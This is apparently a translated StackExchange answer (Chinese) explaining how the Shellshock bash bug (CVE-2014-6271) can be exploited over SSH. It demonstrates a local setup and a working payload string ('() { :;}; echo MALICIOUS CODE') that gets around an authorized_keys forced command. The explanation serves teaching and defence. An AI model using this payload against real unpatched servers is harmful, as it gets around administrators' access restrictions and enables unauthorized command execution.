Bash

如何通過 SSH 來利用 shellshock?

  • May 10, 2018

顯然,shellshock Bash 漏洞利用CVE-2014-6271可以通過 SSH 在網路上被利用。我可以想像這個漏洞利用如何通過 Apache/CGI 工作,但我無法想像這將如何通過 SSH 工作?

有人可以提供一個如何利用 SSH 的範例,以及可能對系統造成什麼損害?

澄清

AFAIU,只有經過身份驗證的使用者才能通過 SSH 利用此漏洞。對於無論如何都可以合法訪問系統的人來說,這個漏洞有什麼用?我的意思是,這個漏洞利用沒有權限提升(他不能成為 root),所以他只能通過 SSH 合法登錄後做的事情。

可以利用這一點的一個範例是在具有authorized_keys強制命令的伺服器上。向 中添加條目時~/.ssh/authorized_keys,您可以在該行前加上前綴以在使用 ssh 公鑰的任何時候command="foo"強制執行。foo使用此漏洞,如果目標使用者的 shell 設置為bash,則他​​們可以利用漏洞來執行他們被迫執行的命令以外的其他內容。

這在範例中可能更有意義,所以這裡有一個範例:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

在這裡,我們設置了一個使用者testuser,它強制使用您的 ssh 密鑰執行任何 ssh 連接echo starting sleep; sleep 1

我們可以通過以下方式進行測試:

$ ssh testuser@localhost echo something else
starting sleep

注意我們echo something else沒有執行,但starting sleep顯示強制命令確實執行了。

現在讓我們展示如何使用這個漏洞:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

這是有效的,因為sshdSSH_ORIGINAL_COMMAND環境變數設置為傳遞的命令。因此,即使sshdrun sleep,而不是我告訴它的命令,由於漏洞利用,我的程式碼仍然可以執行。

引用自:https://unix.stackexchange.com/questions/157477